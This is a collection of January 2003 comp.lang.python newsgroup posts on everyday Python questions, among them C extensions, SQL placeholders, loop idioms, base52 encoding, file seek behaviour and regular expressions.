-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From cnetzer at mail.arc.nasa.gov  Fri Jan 31 16:23:47 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 13:23:47 -0800
Subject: Returning a lot of data from a c extension (SWIG,array,
	Numeric)
In-Reply-To: <q4dl3v8471aeappv13jr13av03krp73jk5@4ax.com>
References: <q4dl3v8471aeappv13jr13av03krp73jk5@4ax.com>
Message-ID: <1044048227.1119.18.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 09:54, Marcus Stojek wrote:
> Hi,
> 
> I have a c-extension that receives looong lists of doubles,
> does some calculations and then returns those in another 
> loong list.

> But what a shock! Returning my c-array into a Python list
> takes almost as long as the calculations would have if done
> in Python.

The python list data structure is not (particularly) suited to storing
large ordered sequences of homogeneous types (ie. huge arrays of floats
and doubles)

> deja gave me a hint to use the array module to transform
> 'raw memory' into a list. But I have no idea how to this.

The array structure is light on operations, but will more efficiently
store the doubles.  Furthermore, you can pass the raw data off to C
functions by handing over a pointer (rather than a new copy of the
data), and then get it back. (with some care)

> Or is the Numeric module what i need? Again I have no idea
> how to use it in this context.

If you don't mind installing Numeric (not much work at all), this is
feasible.  There are many examples on the web of how to access Numeric
data structures in your own C code.  It is more 'heavyweight' than the
array module structures, and some care muct be taken with both.  But
probably about the same amount of code and work as dealing with Python
lists in C. 

The main point is that if you use Numeric, you can do a LOT of
mathematical operations from Python itself, and may not even need to
write your extension in C (and installing Numeric is generally easier
than having to maintain a C extension to Python).

You can search the Numeric mailing list archives for examples and help. 
(I have never had to use the Numeric interface in C, so I can't help you
there, I'm afraid)

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From dale at riverhall.NOTHANKS.co.uk  Sun Jan 12 11:49:54 2003
From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Sun, 12 Jan 2003 16:49:54 +0000
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com> <tB1U9.2282$UB4.11237@news-server.bigpond.net.au> <unc12vkce97kag59au9eomloaean52i46t@4ax.com> <223U9.2417$UB4.11830@news-server.bigpond.net.au>
Message-ID: <85732vk7qd96nl26hcjf8it48s8s83muf6@4ax.com>

"Neil Hodgson" <nhodgson at bigpond.net.au> wrote:

>Dale Strickland-Clark:
>
>> While you're there, how easy is it to modify the key-bindings? I'm
>> rather used to the way PythonWin does a few things.
>
>   Have a look at user.shortcuts in the documentation at
>http://www.scintilla.org/SciTEDoc.html
>   It can't change everything but it may be enough.
>
>   Neil
>
Thanks. I'll have a play.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From narnett at mccmedia.com  Sun Jan 26 11:46:26 2003
From: narnett at mccmedia.com (Nick Arnett)
Date: Sun, 26 Jan 2003 08:46:26 -0800
Subject: December 2002 comp.lang.* stats
In-Reply-To: <3E32A7D9.B5B3D214@engcorp.com>
Message-ID: <PHEDLIMPMIAGAEPEFBGCCELPFCAA.narnett@mccmedia.com>

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Peter Hansen

...

> Thanks Aaron.  I'm forced to admit that these numbers *appear* to
> correspond to my purely subjective feeling as to the relative
> popularity, in a very vague way, of these languages.   It will
> be interesting - if you can finish refining the script and then
> "lock it down" - to compare the results over time.

I've been working on a much more comprehensive analysis of Java and Dotnet
developer activity, covering close to 5,000 sources (Usetnet groups, mailing
lists, web forums -- a source is one group list, forum, etc.).  I just
recently threw Python into the mix, mainly because it's what I'm using to
gather the data and do much of the analysis.  This amounts to more than
5,000 messages a day.  It isn't just venues for supporting the language; it
includes open-source projects being created with Java and Python (by
definition, aren't many true open source project done with Dotnet, except
for Mono and things like that).

Another quick way to get a sense of relative momentum is to look at
Sourceforge's "software map:"
http://sourceforge.net/softwaremap/trove_list.php?form_cat=160 and then
drill down to see the activity levels for the top projects for each
platform.  For example, the VB projects' activity levels drop off much
faster than the Python projects.  And you could keep digging deeper just at
Sourceforge, measuring what's really going on in each area.

I'm developing a number of metrics out of this data, some of which I'll be
making public.  But this toolkit is mostly for me to use in providing
intelligence (but not, not, NOT e-mail addresses for spamming!) to my
company's clients.

O'Reilly & Associates has been doing this sort of thing for quite a while,
to forecast demand for books about open source software, in particular.  I
did some brainstorming with them a few years ago and later started Opion,
which applied this kind of analysis to stock market discussions, feature
films and other topics.  That's now owned by Intelliseek, which mostly does
consumer market research.

One thing that became clear early when I built the Opion prototype was that
unique participants is far and away the most meaningful basic statistic --
far more than number of posts.  That was in stock market discussions, but I
haven't seen any reason to believe there a difference elsewhere.

At Opion and in my current work, I put a big emphasis on identifying the
most influential participants in the discussions through traffic analysis,
link analysis, etc., and giving higher weight to their activities.  Spammers
end up with very low weights because they almost never trigger a meaningful
response from the community... or they cross-post so widely, with no depth
to the resulting discussions, that they're easily identified.  I also use
various anti-spam mechanisms on my server.  Happily, it's not much of an
issue on the mailing lists, where a lot of the action is.

If any folks here are seriously interested in this area, we may need some
technical help soon, preferably in the South Bay area, where I am.

Nick





From pinard at iro.umontreal.ca  Mon Jan 20 16:16:54 2003
From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 20 Jan 2003 16:16:54 -0500
Subject: Python spreadsheet
In-Reply-To: <pan.2003.01.20.20.16.38.910452@dynacare.com>
References: <b0hi2e$jh0$1@news.tpi.pl>
	<pan.2003.01.20.20.16.38.910452@dynacare.com>
Message-ID: <oqlm1fy115.fsf@titan.progiciels-bpi.ca>

[Albert Hopkins]

> There is a python plugin for Gnumeric (GNOME) that has the ability to
> script Gnumeric in Python.   I've never used it however, so I have no idea
> how (well) it works.

For one, I like the `SES' (Simple Emacs Spreadsheet), it's more affordable
than the usual monsters :-).  And because Pymacs exists, there is still the
possibility of defining Python functions for it.  But so far, my simple
needs never pushed me into actually using Pymacs with SES.  Yet, I have this
warm, fuzzy feeling when I hear the Python snoring, around next corner! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From mlh at furu.idi.ntnu.no  Sat Jan 25 12:37:56 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sat, 25 Jan 2003 17:37:56 +0000 (UTC)
Subject: Books for newbies
References: <mailman.1043366266.11545.python-list@python.org>
Message-ID: <slrnb35irk.885.mlh@furu.idi.ntnu.no>

In article <mailman.1043366266.11545.python-list at python.org>, Tyson Tate wrote:
>My first post! (Everyone, now, "noob!")
>
>Anyhow, I just first started to dig into Python yesterday and I must 
>say I'm quite impressed. I like it's easy learning curve, however, I've 
>now exhausted my newbie tutorials and I'm ready to start investing to 
>go further in Python. I was wondering what are some recommended books 
>are. I'm looking for books that assume general programming knowledge 
>(OOP, classes, basic concepts, etc) and cover everything from the 
>basics to more advanced topics.

<shameless plug>
I feel compelled to recommend my book Practical Python
(http://ppython.com). It doesn't assume any programming knowledge, but
it does cover some quite advanced stuff once you're past the first
chapter or two.
</shameless plug>

-- 
Magnus Lie Hetland
http://hetland.org



From imbosol at vt.edu  Mon Jan 27 22:55:38 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 28 Jan 2003 03:55:38 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net>
Message-ID: <_anZ9.1125$8p1.842@nwrddc04.gnilink.net>

Martin Maney wrote:
> Carl Banks <imbosol at vt.edu> wrote:
>> (And, frankly, I'm rather annoyed that you've come to this
>> two-sample-point "conclusion" without examining the method I gave in
>> the very post you responded to.)
> 
> I'm sorry you have been needlessly annoyed, Carl.  I have indeed seen,
> and considered, many more than two proposed solutions to this problem,
> but I was writing mostly for the OP's benefit, so I chose to discuss
> only the ones that I thought were interesting.  Since you seem to be
> asking, I would have to say that the fake loop approach you say you
> favor seems to me to be one of the ugliest proposals, exactly because
> it abuses a control structure that normally has well-known behavior.

I didn't have to guess that's what you would think.  I'd like to point
out that a similar "abuse" of control structure is commonly advocated
on this newsgroup, namely the while 1: idiom.

I suppose "for i in [1]:" isn't as transparent as "while 1:", but
idiom it's used for isn't as common.



-- 
CARL BANKS



From johnroth at ameritech.net  Sat Jan 11 20:20:21 2003
From: johnroth at ameritech.net (John Roth)
Date: Sat, 11 Jan 2003 20:20:21 -0500
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <mailman.1042312221.11913.python-list@python.org> <dgb12von92hgnkrqmibja28mmp602coi0j@4ax.com>
Message-ID: <v21glcda337171@news.supernews.com>

"Manuel M. Garcia" <mgarcia at cole-switches.com> wrote in message
news:dgb12von92hgnkrqmibja28mmp602coi0j at 4ax.com...
> On Sat, 11 Jan 2003 20:09:36 +0100, holger krekel
> <pyth at devel.trillke.net> wrote:
> (edit)
> >We probably should have said 'hope to' instead of
> >'are confident' regarding speed prospects.
>
> Yeah, I got nervous when I read "we are confident that MinimalPython
> will eventually run faster than today's CPython".
>
> It reminded me of the "microthread OS" and "Perl 6 Parrot registers VM
> versus stack VM".  Before coding even begins, performance claims are
> made, mainly based on the "coolness" of the technique.  When the
> performance does not materialize, or the coding is stalled, the
> technique is still treated as above reproach.  And when the old way is
> still faster, pleading that will more time, and with more coders, the
> old way will be left in the dust.
>
> I can see how MinimalPython could be faster than CPython.  No
> programmer would write C code tuned to run optimally on every machine
> under every different multi-tasking work load with every different
> internal state.  Too many machines, too many ways of trading space for
> speed, too many ways of striving for something small enough to fit in
> the cache and avoid paging, too many different tricks.  Of course, a
> sane C programmer would write a single reasonably efficient
> implementation, and in the program's hot spots, maybe specialized code
> to take advantage of a few common situations.
>
> A JIT compliler would supply code tuned for the specific machine in
> the specific situation.  It might be different low level code each
> time, but the JIT compliler does not care.
>
> The part of the project I am most excited about is playing with a
> reasonalbly efficient Python implementation written mainly in Python!
> If the speed never materializes, we still have a test bed for many
> Python programmers to try out new ideas for the traditional Python
> implementations.  And if the speed claim comes true, that is a whole
> another level of goodness!

What about writing it *entirely* in Python?

I'm currently playing around with Squeak, which is a Smalltalk
variant whose interpreter is written entirely in a subset of Smalltalk
that can be machine translated to portable C!

John Roth

>
> Manuel





From daniel at dittmar.net  Wed Jan  8 07:28:07 2003
From: daniel at dittmar.net (Daniel Dittmar)
Date: Wed, 08 Jan 2003 13:28:07 +0100
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <2360684.1042021809@dbforums.com>
References: <2356598.1041950714@dbforums.com> <2360684.1042021809@dbforums.com>
Message-ID: <avh5h1$2gq$1@news.eusc.inter.net>

keithk wrote:
> Daniel,
> 
> Could you give me a little more detail about the
> 
> execute ("SELECT ...",[fileName]) appraoch as I am not familiar with
> the syntax.

for fileName in fileNameList:
         cursor.execute("""SELECT fileSize FROM database where
         database.filename = ?""",  [fileName])
         fileSizes = cursor.fetchall()

The driver is responsible for replacing the ? with the actual value.

Python drivers differ in the kind of placeholders they accept, but 
mxODBC should work fine with the question mark.

Daniel




From aahz at pythoncraft.com  Fri Jan 17 00:19:51 2003
From: aahz at pythoncraft.com (Aahz)
Date: 17 Jan 2003 00:19:51 -0500
Subject: Python loop constructs
References: <f57664b9.0301142008.6a0888@posting.google.com> <v2aotpoed6lk28@news.supernews.com>
Message-ID: <b083pn$j39$1@panix2.panix.com>

In article <v2aotpoed6lk28 at news.supernews.com>,
John Roth <johnroth at ameritech.net> wrote:
>
>The objection that people have to
>
>while 1:
>
>or
>
>while True: (as in Python 2.3)
>
>is that it's an idiom and they'd like it to be more clearly
>stated. Frankly, I can't get myself all that fired up over the issue
>when there are lots of larger issues to work on.

More than that, most such use cases have gone away with Python 2.2 and
iterators/generators.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From skip at pobox.com  Thu Jan  2 15:12:19 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 14:12:19 -0600
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <3E144FA8.6355.2396F1E7@localhost>
References: <3e148bb7$1_1@goliath.newsgroups.com>
        <3E144FA8.6355.2396F1E7@localhost>
Message-ID: <15892.40227.349384.871536@montanaro.dyndns.org>

    >> From this page:

    Brad> http://c2.com/cgi/wiki?SandglassProgramming

    Brad> I chose "Multi-timer" http://www.programming.de/cpp/timer.zip

    Brad> which has 10 timers that can count up/down.. its for windows.

    ...

    Brad> regarding watch .. no released files yet?  ;-)

Yeah, CVS only.  I never bothered to figure out how to do SF releases.  I
just wanted a public CVS repository.  I guess I could wrap a tarball and
toss it on the site.

    Brad> Interesting hook and xml-rpc mode, I do have multiple computers,
    Brad> but I use vnc from a dual-head windows box..

I just added the multiple computer mode in the past week or so (which added
a number of bugs or exposed some latent bugs).  It's now somewhat
unreliable, though it is kind of cool to notice the scale advancing on
computers which are receiving no direct input.

For those reading this interchange and not following the links, watch (or
rather typewatch) isn't a sandglass programming tool.  It's meant to keep
you from wearing out your wrists by typing and mousing too much at a
stretch.  Accordingly, if you are physically idle thinking about the problem
you're solving (or just reading the newspaper) typewatch will not "ding"
like a sandglass timer would.

Skip




From bokr at oz.net  Tue Jan  7 11:16:24 2003
From: bokr at oz.net (Bengt Richter)
Date: 7 Jan 2003 16:16:24 GMT
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <3E1ABCDA.7000209@corvil.com> <3E1AC41C.4080106@aon.at> <3E1AC738.6010104@corvil.com>
Message-ID: <aveugo$vql$0@216.39.172.122>

On Tue, 07 Jan 2003 12:25:28 +0000, Padraig Brady <padraig.brady at corvil.com> wrote:

[... a solution which my later post essentially duplicated ...]

Sorry, I didn't see it before I posted ;-/

Regards,
Bengt Richter



From poyol at hotmail.com  Wed Jan 29 09:27:12 2003
From: poyol at hotmail.com (OPQ)
Date: 29 Jan 2003 06:27:12 -0800
Subject: GUI is it possible with mod_python ?
References: <Pine.WNT.4.44.0301281614020.1016-100000@azur> <mailman.1043771452.25609.python-list@python.org> <Pine.WNT.4.44.0301290943150.2248-100000@azur>
Message-ID: <a334c30e.0301290627.77d8f744@posting.google.com>

Gerard Breiner <gbreiner at ias.u-psud.fr> wrote in message news:<Pine.WNT.4.44.0301290943150.2248-100000 at azur>...
> Hi!
> 
> First of all, thank you for your answer.
> 
> > Did you do any OpenGL based 3D graphics with PHP?
> No, it doesn't.
> 
> > Do you think about generating 3D with VPython and present it on a WEB page?
> 
> Yes I think,  but interact with the client. if that is realizable, would
> you have an example?
> 
> Thanks indeed.
> best regards
> Gerard Breiner
> Institut d'Astrophysique Spatiale
> Batiment 121
> 91405 Orsay Campus
> France


You could try VRML, a markup langage for moving object around. It
requires plugin, but whatever.
But the best you could might be Alice:
http://www.alice.org/default.htm
and for the old version I know (with IE plugin, python stuff):
http://www.alice.org/default_old.htm

It's just what you want to do: 3D graphics with python logic. But,
still requires plugin.


Hope this help


-----

Et bonne chance, bien s?r !



From tundra at tundraware.com  Sat Jan  4 02:20:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 04 Jan 2003 07:20:07 GMT
Subject: Getopt: Using Environment Var To Override
In-Reply-To: <mailman.1041651426.11536.python-list@python.org>
References: <ept4va.sa2.ln@boundary.tundraware.com> <mailman.1041651426.11536.python-list@python.org>
Message-ID: <8t16va.ui7.ln@boundary.tundraware.com>

Skip Montanaro wrote:
>     Tim> I currently use getopt to process my command line args.  Is there
>     Tim> some standard/easy/idiomatic/Pythonic way to supplement this with
>     Tim> an environment variable?  
> 
> None that I'm aware of, however depending on how your environment variable
> is formatted it might be trivial tack it onto the front or back of the args
> you pass to getopt.  Suppose you require your environment variable value to
> look like a set of arguments.  It could be as simple as

Thanks, this is more-or-less what I concluded as well...


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From imbosol at vt.edu  Tue Jan 21 22:52:26 2003
From: imbosol at vt.edu (Carl Banks)
Date: Wed, 22 Jan 2003 03:52:26 GMT
Subject: Can anyone decode this Perl code, please?
References: <ba1e306f.0301211907.25fc9037@posting.google.com>
Message-ID: <_zoX9.8537$im4.7904@nwrddc01.gnilink.net>

Jane Austine wrote:
> I am reading Object-Oriented Reengineering Patterns. I really enjoy
> this book. On p.177, however, there is a perl code, which is all Greek
> to me.


Trust me, Greek's easier.  :-)


<crosspost removed>
-- 
CARL BANKS



From cbrown at metservice.com  Tue Jan 14 15:07:42 2003
From: cbrown at metservice.com (Colin Brown)
Date: Wed, 15 Jan 2003 09:07:42 +1300
Subject: os.times() for other process
References: <avu7iv$jol$1@news.rz.uni-karlsruhe.de>
Message-ID: <3e246e0f$1@news.nz.asiaonline.net>

> With os.times() I get user and system time for the current process. How
can
> I get this for another process with known pid?

Hi Christian

A method I have used in the past (although not elegant, it is easy) is to
use "pslist" from the
pstools kit (www.sysinternals.com). For example:

>>> import os
>>> print os.popen(r'c:\pstools\pslist python','r').read()

PsList v1.2 - Process Information Lister
Copyright (C) 1999-2002 Mark Russinovich
Sysinternals - www.sysinternals.com

Process information for CBROWN:

Name         Pid Pri Thd  Hnd    Mem     User Time   Kernel Time   Elapsed
Time
python       904   8   2  117   4872   0:00:00.328   0:00:03.906
115:09:51.554
python      1632   8   1   26   2124   0:00:00.046   0:00:00.203
0:01:56.747

>>>

Note that pslist will also accept the pid so you would use something like:

import os
def ProcTimes(pid):
    text = os.popen(r'c:\pstools\pslist '+str(pid),'r').read()
    info = text.split('\n')[-2]
    items = info.split()
    return {'User': items[-3], 'Kernel': items[-2], 'Elapsed': items[-1]}

I hope this helps.

Colin Brown
PyNZ







From remi at cherrypy.org  Wed Jan 29 03:21:05 2003
From: remi at cherrypy.org (Remi Delon)
Date: Wed, 29 Jan 2003 09:21:05 +0100
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu>
Message-ID: <3e378ef4$0$266$626a54ce@news.free.fr>

> Sorry, I should have been more specific about the intent of this program.
I
> am intending to distribute the program in a form which does not require an
> internet connection. I wanted a python program to act as a server so that
it
> can receive requests from a browser pointing to localhost.
>
> The program is a turn-based game, so it is suitable for web browser
> implementation. I'm just wondering if its feasable to have the whole app
> (server and all) in one package.
>
> My worries about using BaseHTTPServer come from the fact that when I run
> 'serve_forever()', I need to use the task manager to kill the program. Is
> there some way around that?
>
> Thanks!
> -E

Hi Eric,
I think CherryPy (http://www.cherrypy.org) would fit your needs.
Do develop a web app with CherryPy, you write source files, compile them
with CherryPy and CherryPy generates a single executable containing the
"server and all" :-).

About your problem of having to "use the task manager to kill the program":
you're probably developing on Windows. In this case, hitting "control-C"
will not stop the program right away because it is stuck on a
"socket.accept()" call. In order to stop it, you have to hit
"control-break".

Regards.

Remi.







From donn at u.washington.edu  Fri Jan 17 12:52:20 2003
From: donn at u.washington.edu (Donn Cave)
Date: 17 Jan 2003 17:52:20 GMT
Subject: The benefit of properties (was Re: PEP 8: on member variables vs. attributes)
References: <f57664b9.0301170041.46cc103e@posting.google.com> <v2fuopd3ui6o48@news.supernews.com> <3E280FE3.EB4033F@engcorp.com> <mailman.1042815692.24240.python-list@python.org>
Message-ID: <b09fsk$1dbe$1@nntp6.u.washington.edu>

Quoth Laura Creighton <lac at strakt.com>:
| Peter Hansen wrote:
|> 
|> I rebelled against this at the time, almost outlawing properties,
|> because it got to the point where I couldn't tell when something
|> was just setting a value, possibly with a check or clipping or
|> something applied, and when the code -- which looked like a simple
|> assignment -- was actually storing some data in a file, sending
|> a message to another thread, stopping the machine's motion, and 
|> then launching a Space Shuttle.
|> 
|> No doubt forbidding them was an overreaction, but at least it
|> let us start getting a handle on the complexity of the code.
|
|> I've been looking forward to having a chance to let them redeem
|> themselves when I start using them with Python... if they can.
|> Do they really enhance clarity and maintenance, or might they be
|> more _in the way_ of easy comprehension?
|
| This is a judgement call based on what level of abstaction you want
| for the solving of your problem.  Do you want any of your programmers
| to _care_ that what really happens when a state changes is 'store some
| data in a file, send a message to another thread ....'?  If their
| reaction is 'we're mathematicians, don't talk to us about hardware'
| then they may be absolutely correct.

Maybe it's because my programming career has never taken me into
the rarified world of large projects with an organized collaborative
structure like that, but I'm getting the feeling that my model of
programming is different than yours.

In my world, everyone who deals with code is eventually liable to care
how it works.  Especially with regard to state changes or side effects.
Not so much because we're itching to exploit this knowledge for evil
violations of one kind or another, more because it's eventually the only
way to understand why it works the way it does.  (Note ``eventually'',
I'm speaking of a last resort but a common one.)  We can't afford to
make code opaque to anyone.

Python's notation and the ``consenting adults'' attitude help make code
more reliably understandable, for users and I think even for its authors.
That used to be one of the attractions of Python.  I'm sure that there
are other ways to live where that wouldn't be such a big concern, but
of course there are many other programming languages too.

	Donn Cave, donn at u.washington.edu



From P at draigBrady.com  Mon Jan 13 10:37:15 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Mon, 13 Jan 2003 15:37:15 +0000
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
In-Reply-To: <58AU9.2671$V6.4222@news.indigo.ie>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <avuha2$jivd2$1@ID-114079.news.dfncis.de> <58AU9.2671$V6.4222@news.indigo.ie>
Message-ID: <l5BU9.2677$V6.3995@news.indigo.ie>

P at draigBrady.com wrote:
> Jeremy Yallop wrote:
> 
>> * Christian Tismer
>> | While a name is most unimportant for me,
>> | I agree that it *is* important for the
>> | community to be able to spell it.
>> | | Anyone having some good suggestions?
>>
>> Pygmy.
>>
> 
> SnapPy
> SkimPy
> PepPy
> ComPy (like Compile)
> 
> (I like Pygmy the best).
> 

Pynch

P?draig.




From essai1 at mci.local  Tue Jan 28 18:43:21 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Wed, 29 Jan 2003 00:43:21 +0100
Subject: BDE / ODBC with Python ?
References: <3E35249D.8010008@web.de> <b145ap$g07$1@news-reader11.wanadoo.fr> <3E370844.3020006@web.de>
Message-ID: <b174et$eus$1@news-reader11.wanadoo.fr>

Hi !

My english is very bad.  But on the web-page, i had add a link to
Altavista-Bale-Fish's translate "on the fly". If you click on the flag, the
page is translate in few seconds... normally.

Direct link :  http://mclaveau.com/ress/ponx/index.htm

@+





From phr-n2002b at NOSPAMnightsong.com  Thu Jan  2 07:21:00 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 02 Jan 2003 04:21:00 -0800
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com>
Message-ID: <7xbs2zrbdf.fsf@ruckus.brouhaha.com>

richie at entrian.com (Richie Hindle) writes:
> Is your base52 code (or *any* such code) available anywhere?  Googling for
> "python base52" didn't turn anything up.

Here's one I threw together:

# ==== base52.py =======================================================

from array import array
import string

_letters = map(ord, string.ascii_letters)
_inv_letters = [0]*256
for _i in xrange(len(_letters)):
    _inv_letters[_letters[_i]] = _i

def base52_encode(str):
    def convert(a):
        for c in a:
            y.append(_letters[c / (52*52)])
            y.append(_letters[(c / 52) % 52])
            y.append(_letters[c % 52])

    y = array('B')

    if len(str) % 2 == 0:
        last, x = '', array('H', str)
    else:
        last, x = str[-1], array('H', str[:-1])

    convert(x)

    if last:
        convert((ord(last) + 65536,))

    return y.tostring()

def base52_decode(str):
    if len(str) % 3:
        raise ValueError
    x = array('B', str)
    y = array('B')
    for i in xrange(0, len(x), 3):
        k1, k2, k3 = [_inv_letters[x[i+j]] for j in range(3)]
        a = k1*52*52 + k2*52 + k3
        if a < 65536:
            y.append(a%256)
            y.append(a/256)
        elif a < 65536 + 256:
            y.append(a-65536)
            break
        else:
            raise ValueError

    return y.tostring()    

_be = base52_encode
_bd = base52_decode

def _test1():
    st = 'abcdefg'
    
    for i in range(len(st)):
        s = st[:i]
        print s, _be(s), _bd(_be(s))

def _test2():
    from secrand import secrand

    for i in range(100):
        n = secrand.getlong(1)
        s = secrand.getbytes(n)
        assert _bd(_be(s)) == s

    try:
        # test the overflow check
        _bd('zzz')
    except ValueError:
        pass
    else:
        print 'oops'

_test1()
# _test2()    # depends on secrand.py module, not included



From andrew.thompson at ashecastle.com  Thu Jan 16 08:37:47 2003
From: andrew.thompson at ashecastle.com (Andrew Thompson)
Date: Thu, 16 Jan 2003 13:37:47 -0000
Subject: Reading / writing...
In-Reply-To: <006901c2bd61$43595300$ba01010a@local>
Message-ID: <00fd01c2bd64$756fb6b0$4802a8c0@blair>

Exactly, but to quote the Python Essential Reference (2000) guide,

'when a file is opened for update, you can perform both input and
output, as long as all output operations flush their data before any
subsequent input operations'

What is happening here is that the write() simply doesn't write,
(although the file pointer moves on)and no error condition is raised...
(how might a user know to perform a seek() to effect the write() --
without having extra-Pythonic knowledge ?)



Shouldn't Python be able to hide this from its users ?


-----Original Message-----
From: python-list-admin at python.org [mailto:python-list-admin at python.org]
On Behalf Of Chris Gonnerman
Sent: 16 January 2003 13:15
To: python-list at python.org
Subject: Re: Reading / writing...


----- Original Message ----- 
From: "Andrew Thompson" <andrew.thompson at ashecastle.com>


> 
> Has anyone experienced a file.write() operation not actually writing 
> anything to a file, although the file pointer moves on... (I was 
> comparing prior and post seek() values to check how much data was
> written)

This is documented, normal behavior... for all Unix/Linux systems I am
familiar with, for files opened in read/write mode you MUST 
seek() before switching from read() to write() or vice-versa.

For Windoze... dunno.  The seek() isn't going to hurt anything (seek
from "here" for an offset of 0).

> In the example below, the write() operation works fine if it is 
> preceded by a seek(), but fails if it is preceded by a read().
> 
> My original thought was that the new data simply wasn't yet flush()ed 
> into the file, but no amount of flush()ing can make the new data 
> arrive anywhere in the file.
> 
> I am aware of the importance of flush() on all reads() after writes() 
> , but cannot find anything in the literature the other way around.
> 
> Can anyone help?
> 
> 
> Andrew
> 
> 
> 
> >>> f=open('test','wb+')
> >>> f.write('boo')     #write a simple 3 char string.
> >>> f.tell()
> 3L
> >>> f.write('a')       #write a further character
> >>> f.seek(0)
> >>> f.read(3)      #this all works.
> 'boo'
> >>> f.write('b')   #this write fails, although the file pointer moves
> on...
> >>> f.seek(3)
> >>> f.read(1)       #we still have the original character.
> 'a'
> >>> f.seek(3)       #trying again, but do a direct seek() first.
> >>> f.write('b')
> >>> f.seek(3)
> >>> f.read(1)
> 'b'
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 

-- 
http://mail.python.org/mailman/listinfo/python-list





From andymac at bullseye.apana.org.au  Wed Jan 29 06:01:03 2003
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Wed, 29 Jan 2003 21:01:03 +1000 (est)
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <slrnb3d4og.1k4.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <Pine.OS2.4.44.0301292057190.109-100000@vbull.andymac.org>

On 28 Jan 2003, Gerhard [iso-8859-1] H?ring wrote:

> Andrew MacIntyre <andymac at bullseye.apana.org.au> wrote:
> > I've successfully used MingW32 (http://www.mingw.org/ IIRC) to build
> > Python extensions [...]
> > It can take some fiddling to get a usable Python import library, but
> > google will find docco to help with that.
>
> That was never a problem for me. The method described in the Python
> documentation always worked just fine:
>
> http://www.python.org/doc/current/inst/non-ms-compilers.html

My experience was some time ago, and I don't recall that page being
found in my search - I did find Robert Kern's notes on using MingW
with 1.5.2 though, and was able to adapt his advice.

-- 
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia





From andrew at indranet.co.nz  Sat Jan  4 06:01:32 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 05 Jan 2003 00:01:32 +1300
Subject: Newbie question on Re module
In-Reply-To: <cc197b7b.0301040224.554869e7@posting.google.com>
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>
 <cc197b7b.0301040224.554869e7@posting.google.com>
Message-ID: <151220000.1041678092@localhost.localdomain>

[^(binaries)] is a single character that is not one of '(', 'b' etc.

You probably don't want to use an RE at all in Python; just use something 
like:

if str.index('binaries') == -1:
  # then str did not contain the word.

although:

rgx = re.compile('binaries')
if not rgx.match(str):
  # then str did also not match

does the same trick, just probably much slower.

